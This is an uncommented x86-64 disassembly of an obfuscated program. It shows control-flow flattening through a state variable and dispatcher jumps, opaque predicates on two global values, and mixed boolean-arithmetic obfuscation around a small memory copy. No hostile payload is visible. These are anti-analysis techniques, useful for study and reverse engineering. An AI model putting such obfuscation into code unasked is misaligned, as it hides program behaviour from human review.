xor r12b, 1
or r9b, r14b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r14b, bl
xor r14b, 0
mov r12b, sil
xor r12b, r14b
and r12b, sil
xor r10b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r13b, bl
xor r13b, 1
or r10b, r14b
or r13b, 1
xor r10b, 0xff
and r10b, r13b
mov r14b, r15b
xor r14b, 0xff
mov r13b, r9b
xor r13b, 0xff
mov al, bl
xor al, 0
mov cl, r14b
and cl, 0
and r15b, al
mov dl, r13b
and dl, 0
and r9b, al
or cl, r15b
or dl, r9b
xor cl, dl
or r14b, r13b
xor r14b, 0xff
or al, 0
and r14b, al
or cl, r14b
mov al, r12b
and al, r10b
xor r12b, r10b
or al, r12b
mov dl, cl
xor dl, 0xff
and dl, 1
mov r9b, bl
xor r9b, 1
and cl, r9b
mov r10b, al
xor r10b, 0xff
and r10b, 0xff
and al, r9b
or dl, cl
or r10b, al
xor dl, r10b
mov al, r11b
and al, sil
xor r11b, sil
or al, r11b
mov cl, al
xor cl, 0xff
and cl, 1
mov r9b, bl
xor r9b, 1
and al, r9b
mov r10b, bl
xor r10b, 1
and r10b, 0xff
and r9b, 1
or cl, al
or r10b, r9b
xor cl, r10b
mov al, bl
xor al, 0
mov r9b, dil
xor r9b, 0xff
xor bl, 0
mov r10b, al
and r10b, 0
mov r11b, bl
and r11b, 0
mov sil, r9b
and sil, 0
and dil, bl
or r10b, r11b
or sil, dil
xor r10b, sil
or al, r9b
xor al, 0xff
or bl, 0
and al, bl
or r10b, al
xor r10b, 0xff
mov al, cl
xor al, r10b
and al, cl
mov cl, dl
and cl, al
xor dl, al
or cl, dl
test cl, 1
mov r8d, 0x90038592
mov eax, 0x369ef2f3
cmovne eax, r8d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
xor eax, eax
mov rcx, qword [rbp + 0x208]
mov edx, dword [0x00439970]
mov r8d, dword [0x00439974]
mov r9d, eax
sub r9d, 0xc259065b
mov r10d, edx
sub r10d, r9d
mov r9d, eax
sub r9d, 1
add r10d, r9d
sub eax, 0xc259065b
add r10d, eax
imul edx, r10d
and edx, 1
cmp edx, 0
sete r11b
cmp r8d, 0xa
setl bl
mov sil, bl
xor sil, 0xff
mov dil, r11b
xor dil, sil
and dil, r11b
mov sil, r11b
xor sil, 0xff
and sil, 1
mov r14b, 1
mov r15b, r14b
xor r15b, 1
and r11b, r15b
mov r12b, bl
xor r12b, 0xff
and r12b, 0xff
and bl, r15b
or sil, r11b
or r12b, bl
xor sil, r12b
mov r11b, dil
xor r11b, 0xff
mov bl, sil
xor bl, 0xff
xor r14b, 1
mov r15b, r11b
and r15b, 0xff
and dil, r14b
mov r12b, bl
and r12b, 0xff
and sil, r14b
or r15b, dil
or r12b, sil
xor r15b, r12b
or r11b, bl
xor r11b, 0xff
or r14b, 1
and r11b, r14b
or r15b, r11b
test r15b, 1
mov eax, 0xc87c7f34
mov edx, 0x369ef2f3
cmovne edx, eax
mov dword [rbp + 0x1e8], edx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, ecx
add r8d, 0x67194c8d
add r8d, 0x1bcdafab
sub r8d, 0x67194c8d
sub r8d, 0x1444893c
sub r8d, 1
add r8d, 0x1444893c
sub eax, 0x1bcdafab
add r8d, eax
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 0
mov bl, 1
mov sil, bl
xor sil, 0
mov dil, r9b
and dil, sil
mov r14b, bl
xor r14b, 1
and r14b, 0
and sil, 1
or r11b, dil
or r14b, sil
xor r11b, r14b
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
or sil, r14b
mov dil, bl
xor dil, 1
and dil, 0
mov r14b, bl
xor r14b, 0
mov r15b, r14b
and r15b, 1
mov r12b, bl
xor r12b, 1
and r12b, 0
and r14b, 1
or dil, r15b
or r12b, r14b
xor dil, r12b
mov r14b, r11b
xor r14b, 0xff
mov r15b, bl
xor r15b, 1
mov r12b, bl
xor r12b, 0
or r14b, r15b
or r12b, 0
xor r14b, 0xff
and r14b, r12b
xor r9b, 0xff
mov r15b, dil
xor r15b, 0xff
mov r12b, bl
xor r12b, 0
or r9b, r15b
or r12b, 0
xor r9b, 0xff
and r9b, r12b
mov r15b, sil
xor r15b, 0xff
mov r12b, bl
xor r12b, 1
mov r13b, bl
xor r13b, 0
or r15b, r12b
or r13b, 0
xor r15b, 0xff
and r15b, r13b
mov r12b, dil
xor r12b, 0xff
mov r13b, r10b
xor r13b, r12b
and r13b, r10b
mov r10b, r14b
xor r10b, 0xff
mov r12b, r9b
xor r12b, 0xff
mov al, bl
xor al, 1
mov cl, r10b
and cl, 0xff
and r14b, al
mov dl, r12b
and dl, 0xff
and r9b, al
or cl, r14b
or dl, r9b
xor cl, dl
or r10b, r12b
xor r10b, 0xff
or al, 1
and r10b, al
or cl, r10b
mov al, r15b
xor al, 0xff
mov dl, r13b
xor dl, 0xff
mov r9b, bl
xor r9b, 1
mov r10b, al
and r10b, 0xff
and r15b, r9b
mov r14b, dl
and r14b, 0xff
and r13b, r9b
or r10b, r15b
or r14b, r13b
xor r10b, r14b
or al, dl
xor al, 0xff
or r9b, 1
and al, r9b
or r10b, al
mov al, cl
xor al, 0xff
mov dl, r10b
and dl, al
xor r10b, 0xff
and cl, r10b
or dl, cl
mov al, r11b
and al, sil
xor r11b, sil
or al, r11b
mov cl, al
xor cl, 0xff
and cl, 1
mov r9b, bl
xor r9b, 1
and al, r9b
or cl, al
mov al, dil
and al, 1
xor dil, 1
or al, dil
xor al, 0xff
mov r9b, cl
xor r9b, al
and r9b, cl
mov al, dl
xor al, 0xff
mov cl, r9b
xor cl, 0xff
xor bl, 0
mov r10b, al
and r10b, 0
and dl, bl
mov r11b, cl
and r11b, 0
and r9b, bl
or r10b, dl
or r11b, r9b
xor r10b, r11b
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or r10b, al
test r10b, 1
mov r8d, 0xe0f482b4
mov eax, 0xe8db10fb
cmovne eax, r8d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, 0x95837363
mov r9d, ecx
sub r9d, r8d
sub eax, 1
add r9d, eax
add r9d, 0x17ac128d
sub r9d, 0x95837363
sub r9d, 0x17ac128d
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
and bl, 1
mov sil, 1
mov dil, sil
xor dil, 1
mov r14b, r10b
and r14b, dil
or bl, r14b
mov dil, r11b
xor dil, 0xff
and dil, 1
mov r14b, sil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
or dil, r15b
mov r14b, sil
xor r14b, 0
and r14b, 1
mov r15b, sil
xor r15b, 1
mov r12b, r15b
and r12b, 0
mov r13b, sil
xor r13b, 1
and r13b, 0xff
and r15b, 1
or r14b, r12b
or r13b, r15b
xor r14b, r13b
mov r15b, sil
xor r15b, 0
mov r12b, bl
xor r12b, r15b
and r12b, bl
mov r15b, r14b
xor r15b, 0xff
mov r13b, r10b
xor r13b, r15b
and r13b, r10b
mov r10b, dil
xor r10b, 0xff
mov r15b, sil
xor r15b, 0
mov al, sil
xor al, 1
or r10b, r15b
or al, 1
xor r10b, 0xff
and r10b, al
xor r11b, 0xff
mov al, r14b
xor al, 0xff
mov r15b, sil
xor r15b, 1
or r11b, al
or r15b, 1
xor r11b, 0xff
and r11b, r15b
mov al, r12b
xor al, 0xff
mov r15b, r13b
xor r15b, 0xff
mov cl, sil
xor cl, 1
mov dl, al
and dl, 0xff
and r12b, cl
mov r8b, r15b
and r8b, 0xff
and r13b, cl
or dl, r12b
or r8b, r13b
xor dl, r8b
or al, r15b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, r10b
xor al, 0xff
mov cl, r11b
xor cl, 0xff
mov r8b, sil
xor r8b, 1
mov r15b, al
and r15b, 0xff
and r10b, r8b
mov r12b, cl
and r12b, 0xff
and r11b, r8b
or r15b, r10b
or r12b, r11b
xor r15b, r12b
or al, cl
xor al, 0xff
or r8b, 1
and al, r8b
or r15b, al
mov al, dl
xor al, 0xff
and al, 1
mov cl, sil
xor cl, 1
and dl, cl
mov r8b, r15b
xor r8b, 0xff
and r8b, 0xff
and r15b, cl
or al, dl
or r8b, r15b
xor al, r8b
mov cl, bl
xor cl, 0xff
mov dl, dil
xor dl, 0xff
mov r8b, sil
xor r8b, 1
mov r10b, cl
and r10b, 0xff
and bl, r8b
mov r11b, dl
and r11b, 0xff
and dil, r8b
or r10b, bl
or r11b, dil
xor r10b, r11b
or cl, dl
xor cl, 0xff
or r8b, 1
and cl, r8b
or r10b, cl
mov cl, r10b
xor cl, 0xff
and cl, 1
mov dl, sil
xor dl, 1
and r10b, dl
or cl, r10b
mov dl, r14b
and dl, 0
xor r14b, 0
or dl, r14b
xor dl, 0xff
mov r8b, cl
xor r8b, dl
and r8b, cl
mov cl, al
xor cl, 0xff
mov dl, r8b
xor dl, 0xff
xor sil, 1
mov r10b, cl
and r10b, 0xff
and al, sil
mov r11b, dl
and r11b, 0xff
and r8b, sil
or r10b, al
or r11b, r8b
xor r10b, r11b
or cl, dl
xor cl, 0xff
or sil, 1
and cl, sil
or r10b, cl
test r10b, 1
mov r9d, 0xf39fc9a1
mov eax, 0x56dea637
cmovne eax, r9d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
mov eax, dword [0x00439970]
mov ecx, dword [0x00439974]
mov edx, eax
add edx, 0x2d924835
add edx, 0xb2de812a
sub edx, 0x2d924835
sub edx, 0xdba82305
sub edx, 1
add edx, 0xdba82305
add edx, 0xc26380e7
sub edx, 0xb2de812a
sub edx, 0xc26380e7
imul eax, edx
and eax, 1
cmp eax, 0
sete r8b
cmp ecx, 0xa
setl r9b
mov r10b, r8b
xor r10b, 0xff
and r10b, 0
mov r11b, 1
mov bl, r11b
xor bl, 0
mov sil, r8b
and sil, bl
mov dil, r11b
xor dil, 1
and dil, 0
and bl, 1
or r10b, sil
or dil, bl
xor r10b, dil
mov bl, r9b
xor bl, 0xff
and bl, 1
mov sil, r11b
xor sil, 1
mov dil, r9b
and dil, sil
or bl, dil
mov sil, r11b
xor sil, 0
and sil, 1
mov dil, r11b
xor dil, 1
and dil, 0
or sil, dil
mov dil, r10b
xor dil, 0xff
mov r14b, r11b
xor r14b, 0
mov r15b, r11b
xor r15b, 0
or dil, r14b
or r15b, 0
xor dil, 0xff
and dil, r15b
mov r14b, sil
xor r14b, 0xff
mov r15b, r8b
xor r15b, r14b
and r15b, r8b
mov r8b, r11b
xor r8b, 0
mov r14b, bl
xor r14b, r8b
and r14b, bl
xor r9b, 0xff
mov r8b, sil
xor r8b, 0xff
mov r12b, r11b
xor r12b, 1
or r9b, r8b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r8b, dil
and r8b, r15b
xor dil, r15b
or r8b, dil
mov dil, r14b
and dil, r9b
xor r14b, r9b
or dil, r14b
mov r9b, r8b
xor r9b, 0xff
mov r14b, dil
and r14b, r9b
xor dil, 0xff
and r8b, dil
or r14b, r8b
mov r8b, r10b
xor r8b, 0xff
mov r9b, bl
xor r9b, 0xff
mov dil, r11b
xor dil, 1
mov r15b, r8b
and r15b, 0xff
and r10b, dil
mov r12b, r9b
and r12b, 0xff
and bl, dil
or r15b, r10b
or r12b, bl
xor r15b, r12b
or r8b, r9b
xor r8b, 0xff
or dil, 1
and r8b, dil
or r15b, r8b
mov r8b, r15b
xor r8b, 0xff
and r8b, 1
mov r9b, r11b
xor r9b, 1
and r15b, r9b
or r8b, r15b
mov r9b, r11b
xor r9b, 0
mov r10b, sil
xor r10b, 0xff
mov bl, r11b
xor bl, 1
mov dil, r9b
and dil, 0xff
mov r15b, bl
and r15b, 0
mov r12b, r10b
and r12b, 0xff
and sil, bl
or dil, r15b
or r12b, sil
xor dil, r12b
or r9b, r10b
xor r9b, 0xff
or bl, 1
and r9b, bl
or dil, r9b
xor r8b, 0xff
xor dil, 0xff
mov r9b, r11b
xor r9b, 0
or r8b, dil
or r9b, 0
xor r8b, 0xff
and r8b, r9b
mov r9b, r14b
xor r9b, 0xff
mov r10b, r8b
xor r10b, 0xff
xor r11b, 0
mov bl, r9b
and bl, 0
and r14b, r11b
mov sil, r10b
and sil, 0
and r8b, r11b
or bl, r14b
or sil, r8b
xor bl, sil
or r9b, r10b
xor r9b, 0xff
or r11b, 0
and r9b, r11b
or bl, r9b
test bl, 1
mov eax, 0x6a64cec3
mov ecx, 0xa3a51055
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xb9f1daba
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 1
add eax, 0
mov r8d, ecx
add r8d, 0x45905b7c
add r8d, eax
sub r8d, 0x45905b7c
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
mov r14b, bl
xor r14b, 1
and r14b, 0xff
and sil, 1
or r11b, dil
or r14b, sil
xor r11b, r14b
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
or sil, r14b
mov dil, bl
xor dil, 0
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 0
or dil, r14b
mov r14b, bl
xor r14b, 0
mov r15b, r11b
xor r15b, r14b
and r15b, r11b
mov r14b, dil
xor r14b, 0xff
mov r12b, r9b
xor r12b, r14b
and r12b, r9b
mov r9b, bl
xor r9b, 0
mov r14b, sil
xor r14b, r9b
and r14b, sil
mov r9b, dil
xor r9b, 0xff
mov r13b, r10b
xor r13b, r9b
and r13b, r10b
mov r9b, r15b
and r9b, r12b
xor r15b, r12b
or r9b, r15b
mov r10b, r14b
xor r10b, 0xff
mov r15b, r13b
xor r15b, 0xff
mov r12b, bl
xor r12b, 0
mov al, r10b
and al, 0
and r14b, r12b
mov cl, r15b
and cl, 0
and r13b, r12b
or al, r14b
or cl, r13b
xor al, cl
or r10b, r15b
xor r10b, 0xff
or r12b, 0
and r10b, r12b
or al, r10b
mov cl, r9b
xor cl, 0xff
and cl, 1
mov r10b, bl
xor r10b, 1
and r9b, r10b
mov r14b, al
xor r14b, 0xff
and r14b, 0xff
and al, r10b
or cl, r9b
or r14b, al
xor cl, r14b
mov al, r11b
and al, sil
xor r11b, sil
or al, r11b
mov r9b, al
xor r9b, 0xff
and r9b, 1
mov r10b, bl
xor r10b, 1
and al, r10b
mov r11b, bl
xor r11b, 1
and r11b, 0xff
and r10b, 1
or r9b, al
or r11b, r10b
xor r9b, r11b
mov al, bl
xor al, 0
mov r10b, dil
xor r10b, 0xff
mov r11b, bl
xor r11b, 0
mov sil, al
and sil, 0
mov r14b, r11b
and r14b, 0
mov r15b, r10b
and r15b, 0
and dil, r11b
or sil, r14b
or r15b, dil
xor sil, r15b
or al, r10b
xor al, 0xff
or r11b, 0
and al, r11b
or sil, al
xor r9b, 0xff
xor sil, 0xff
mov al, bl
xor al, 1
or r9b, sil
or al, 1
xor r9b, 0xff
and r9b, al
mov al, cl
xor al, 0xff
mov r10b, r9b
xor r10b, 0xff
xor bl, 0
mov r11b, al
and r11b, 0
and cl, bl
mov sil, r10b
and sil, 0
and r9b, bl
or r11b, cl
or sil, r9b
xor r11b, sil
or al, r10b
xor al, 0xff
or bl, 0
and al, bl
or r11b, al
test r11b, 1
mov edx, 0x51b16b8a
mov r8d, 0x74c95feb
cmovne r8d, edx
mov dword [rbp + 0x1e8], r8d
jmp 0x417ccc
mov rax, qword [rbp + 0x208]
mov dword [rax], 0x14
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x5c0], rax
lea rax, [0x0041a010]
mov qword [rbp + 0x5b8], rax
mov qword [rbp + 0x5b0], 4
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5b8]
mov qword [rbp + 0x5a0], rax
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x5b0]
mov r8, rcx
sub r8, rdx
movabs r9, 0x10a67f8f328cd2b1
mov r10, rcx
sub r10, r9
add r8, r10
mov r10, rcx
sub r10, r8
movabs r8, 0xdceb0b818caddd02
add r10, r8
add r10, 0xffffffffffffffff
sub r10, r8
sub rcx, r9
add r10, rcx
mov qword [rbp + 0x5b0], r10
cmp rdx, 0
je 0x413459
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x5a0], rcx
mov dl, byte [rax]
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x5a8], rcx
mov byte [rax], dl
jmp 0x4133c8
lea rax, [0x0041a010]
add rax, 4
mov rcx, qword [rbp + 0x218]
mov qword [rcx], rax
mov dword [rbp + 0x1e8], 0xf0ea9142
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 0xd6735cd4
mov r8d, ecx
add r8d, eax
add r8d, 0x3f4244a9
sub r8d, 1
sub r8d, 0x3f4244a9
add r8d, 0xb59a66c6
add r8d, 0xd6735cd4
sub r8d, 0xb59a66c6
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
or r11b, dil
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
mov r15b, bl
xor r15b, 1
and r15b, 0xff
and dil, 1
or sil, r14b
or r15b, dil
xor sil, r15b
mov dil, bl
xor dil, 1
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 1
or dil, r14b
mov r14b, bl
xor r14b, 1
mov r15b, r11b
xor r15b, r14b
and r15b, r11b
xor r9b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r12b, bl
xor r12b, 1
or r9b, r14b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r14b, bl
xor r14b, 1
mov r12b, sil
xor r12b, r14b
and r12b, sil
xor r10b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r13b, bl
xor r13b, 0
or r10b, r14b
or r13b, 0
xor r10b, 0xff
and r10b, r13b
mov r14b, r15b
and r14b, r9b
xor r15b, r9b
or r14b, r15b
mov r9b, r12b
and r9b, r10b
xor r12b, r10b
or r9b, r12b
mov r10b, r14b
xor r10b, 0xff
mov r15b, r9b
and r15b, r10b
xor r9b, 0xff
and r14b, r9b
or r15b, r14b
mov r9b, r11b
and r9b, sil
xor r11b, sil
or r9b, r11b
mov r10b, r9b
xor r10b, 0xff
and r10b, 1
mov r11b, bl
xor r11b, 1
and r9b, r11b
mov sil, bl
xor sil, 1
and sil, 0xff
and r11b, 1
or r10b, r9b
or sil, r11b
xor r10b, sil
mov r9b, bl
xor r9b, 1
mov r11b, dil
xor r11b, 0xff
xor bl, 1
mov sil, r9b
and sil, 0xff
mov r14b, bl
and r14b, 1
mov r12b, r11b
and r12b, 0xff
and dil, bl
or sil, r14b
or r12b, dil
xor sil, r12b
or r9b, r11b
xor r9b, 0xff
or bl, 1
and r9b, bl
or sil, r9b
xor sil, 0xff
mov r9b, r10b
xor r9b, sil
and r9b, r10b
mov r10b, r15b
and r10b, r9b
xor r15b, r9b
or r10b, r15b
test r10b, 1
mov eax, 0x752c07e
mov ecx, 0xdc903f8f
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 0xf60d75d
mov r8d, ecx
sub r8d, eax
add r8d, 0xa9e97f4b
sub r8d, 1
sub r8d, 0xa9e97f4b
sub r8d, 0xf3b8d54c
sub r8d, 0xf60d75d
add r8d, 0xf3b8d54c
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
mov bl, r10b
xor bl, 0xff
mov sil, 1
mov dil, sil
xor dil, 1
or r11b, bl
or dil, 1
xor r11b, 0xff
and r11b, dil
mov bl, r9b
xor bl, 0xff
and bl, 1
xor sil, 1
and r9b, sil
mov dil, r10b
xor dil, 0xff
and dil, 0xff
and r10b, sil
or bl, r9b
or dil, r10b
xor bl, dil
mov r9b, r11b
and r9b, bl
xor r11b, bl
or r9b, r11b
test r9b, 1
mov eax, 0x806e00a1
mov ecx, 0x7bfc668c
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xecb3d8c1
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, 0x19c1c824
sub r8d, 1
add r8d, 0x19c1c824
mov r9d, eax
sub r9d, ecx
mov r10d, eax
sub r10d, r8d
add r9d, r10d
sub eax, r9d
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete r11b
cmp edx, 0xa
setl bl
mov sil, r11b
xor sil, 0xff
and sil, 1
mov dil, 1
mov r14b, dil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
or sil, r15b
mov r14b, bl
xor r14b, 0xff
and r14b, 0
mov r15b, dil
xor r15b, 0
mov r12b, bl
and r12b, r15b
mov r13b, dil
xor r13b, 1
and r13b, 0
and r15b, 1
or r14b, r12b
or r13b, r15b
xor r14b, r13b
mov r15b, dil
xor r15b, 1
and r15b, 0
mov r12b, dil
xor r12b, 0
mov r13b, r12b
and r13b, 1
mov al, dil
xor al, 1
and al, 0
and r12b, 1
or r15b, r13b
or al, r12b
xor r15b, al
mov al, dil
xor al, 1
mov r12b, sil
xor r12b, al
and r12b, sil
mov al, r15b
xor al, 0xff
mov r13b, r11b
xor r13b, al
and r13b, r11b
mov al, r14b
xor al, 0xff
mov r11b, dil
xor r11b, 1
mov cl, dil
xor cl, 1
or al, r11b
or cl, 1
xor al, 0xff
and al, cl
mov cl, r15b
xor cl, 0xff
mov r11b, bl
xor r11b, cl
and r11b, bl
mov cl, r12b
xor cl, 0xff
mov bl, r13b
xor bl, 0xff
mov dl, dil
xor dl, 0
mov r8b, cl
and r8b, 0
and r12b, dl
mov r9b, bl
and r9b, 0
and r13b, dl
or r8b, r12b
or r9b, r13b
xor r8b, r9b
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or r8b, cl
mov cl, al
xor cl, 0xff
mov dl, r11b
xor dl, 0xff
mov r9b, dil
xor r9b, 1
mov bl, cl
and bl, 0xff
and al, r9b
mov r12b, dl
and r12b, 0xff
and r11b, r9b
or bl, al
or r12b, r11b
xor bl, r12b
or cl, dl
xor cl, 0xff
or r9b, 1
and cl, r9b
or bl, cl
mov al, r8b
xor al, 0xff
mov cl, bl
and cl, al
xor bl, 0xff
and r8b, bl
or cl, r8b
mov al, sil
xor al, 0xff
mov dl, r14b
xor dl, 0xff
mov r8b, dil
xor r8b, 0
mov r9b, al
and r9b, 0
and sil, r8b
mov r11b, dl
and r11b, 0
and r14b, r8b
or r9b, sil
or r11b, r14b
xor r9b, r11b
or al, dl
xor al, 0xff
or r8b, 0
and al, r8b
or r9b, al
mov al, r9b
xor al, 0xff
and al, 1
mov dl, dil
xor dl, 1
and r9b, dl
or al, r9b
mov dl, dil
xor dl, 1
mov r8b, r15b
xor r8b, 0xff
mov r9b, dil
xor r9b, 1
mov r11b, dl
and r11b, 0xff
mov bl, r9b
and bl, 1
mov sil, r8b
and sil, 0xff
and r15b, r9b
or r11b, bl
or sil, r15b
xor r11b, sil
or dl, r8b
xor dl, 0xff
or r9b, 1
and dl, r9b
or r11b, dl
xor al, 0xff
xor r11b, 0xff
mov dl, dil
xor dl, 0
or al, r11b
or dl, 0
xor al, 0xff
and al, dl
mov dl, cl
xor dl, 0xff
mov r8b, al
xor r8b, 0xff
xor dil, 0
mov r9b, dl
and r9b, 0
and cl, dil
mov r11b, r8b
and r11b, 0
and al, dil
or r9b, cl
or r11b, al
xor r9b, r11b
or dl, r8b
xor dl, 0xff
or dil, 0
and dl, dil
or r9b, dl
test r9b, 1
mov r10d, 0xad178ced
mov eax, 0xc1587a04
cmovne eax, r10d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, 0x4722f8a3
mov r9d, ecx
add r9d, r8d
mov r8d, eax
sub r8d, 1
add r9d, r8d
sub eax, 0x4722f8a3
sub r9d, eax
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
and bl, 0
mov sil, 1
mov dil, sil
xor dil, 0
mov r14b, r10b
and r14b, dil
mov r15b, sil
xor r15b, 1
and r15b, 0
and dil, 1
or bl, r14b
or r15b, dil
xor bl, r15b
mov dil, r11b
xor dil, 0xff
and dil, 1
mov r14b, sil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
or dil, r15b
mov r14b, sil
xor r14b, 1
and r14b, 1
mov r15b, sil
xor r15b, 1
and r15b, 1
or r14b, r15b
mov r15b, sil
xor r15b, 1
mov r12b, bl
xor r12b, r15b
and r12b, bl
xor r10b, 0xff
mov r15b, r14b
xor r15b, 0xff
mov r13b, sil
xor r13b, 1
or r10b, r15b
or r13b, 1
xor r10b, 0xff
and r10b, r13b
mov r15b, sil
xor r15b, 1
mov r13b, dil
xor r13b, r15b
and r13b, dil
mov r15b, r14b
xor r15b, 0xff
mov al, r11b
xor al, r15b
and al, r11b
mov r11b, r12b
xor r11b, 0xff
mov r15b, r10b
xor r15b, 0xff
mov cl, sil
xor cl, 0
mov dl, r11b
and dl, 0
and r12b, cl
mov r8b, r15b
and r8b, 0
and r10b, cl
or dl, r12b
or r8b, r10b
xor dl, r8b
or r11b, r15b
xor r11b, 0xff
or cl, 0
and r11b, cl
or dl, r11b
mov cl, r13b
xor cl, 0xff
mov r8b, al
xor r8b, 0xff
mov r10b, sil
xor r10b, 0
mov r11b, cl
and r11b, 0
and r13b, r10b
mov r15b, r8b
and r15b, 0
and al, r10b
or r11b, r13b
or r15b, al
xor r11b, r15b
or cl, r8b
xor cl, 0xff
or r10b, 0
and cl, r10b
or r11b, cl
mov al, dl
xor al, 0xff
mov cl, r11b
and cl, al
xor r11b, 0xff
and dl, r11b
or cl, dl
mov al, bl
xor al, 0xff
mov dl, dil
xor dl, 0xff
mov r8b, sil
xor r8b, 0
mov r10b, al
and r10b, 0
and bl, r8b
mov r11b, dl
and r11b, 0
and dil, r8b
or r10b, bl
or r11b, dil
xor r10b, r11b
or al, dl
xor al, 0xff
or r8b, 0
and al, r8b
or r10b, al
mov al, r10b
xor al, 0xff
and al, 1
mov dl, sil
xor dl, 1
and r10b, dl
mov r8b, sil
xor r8b, 1
and r8b, 0xff
and dl, 1
or al, r10b
or r8b, dl
xor al, r8b
mov dl, sil
xor dl, 1
mov r8b, r14b
xor r8b, 0xff
xor sil, 1
mov r10b, dl
and r10b, 0xff
mov r11b, sil
and r11b, 1
mov bl, r8b
and bl, 0xff
and r14b, sil
or r10b, r11b
or bl, r14b
xor r10b, bl
or dl, r8b
xor dl, 0xff
or sil, 1
and dl, sil
or r10b, dl
xor r10b, 0xff
mov dl, al
xor dl, r10b
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
mov r9d, 0x673d664f
mov eax, 0xc1587a04
cmovne eax, r9d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xc3e62ab4
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, ecx
sub r8d, 0x66c50cb5
sub r8d, 0xfa01083
add r8d, 0x66c50cb5
mov r9d, eax
sub r9d, 1
add r8d, r9d
mov r9d, eax
sub r9d, r8d
mov r8d, eax
sub r8d, 0xfa01083
add r9d, r8d
sub eax, r9d
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
mov sil, r11b
xor sil, 0xff
mov dil, 1
mov r14b, dil
xor r14b, 0
or bl, sil
or r14b, 0
xor bl, 0xff
and bl, r14b
mov sil, r10b
xor sil, 0xff
mov r14b, r11b
and r14b, sil
xor r11b, 0xff
and r10b, r11b
or r14b, r10b
mov r10b, bl
xor r10b, 0xff
mov r11b, r14b
xor r11b, 0xff
xor dil, 0
mov sil, r10b
and sil, 0
and bl, dil
mov r15b, r11b
and r15b, 0
and r14b, dil
or sil, bl
or r15b, r14b
xor sil, r15b
or r10b, r11b
xor r10b, 0xff
or dil, 0
and r10b, dil
or sil, r10b
test sil, 1
mov eax, 0x518eb75c
mov ecx, 0x2bb05257
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xaa0fdf64
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xdfff4dec
jmp 0x417ccc
mov rax, qword [rbp + 0x220]
mov rax, qword [rax]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x678]
mov rcx, qword [rbp + 0x670]
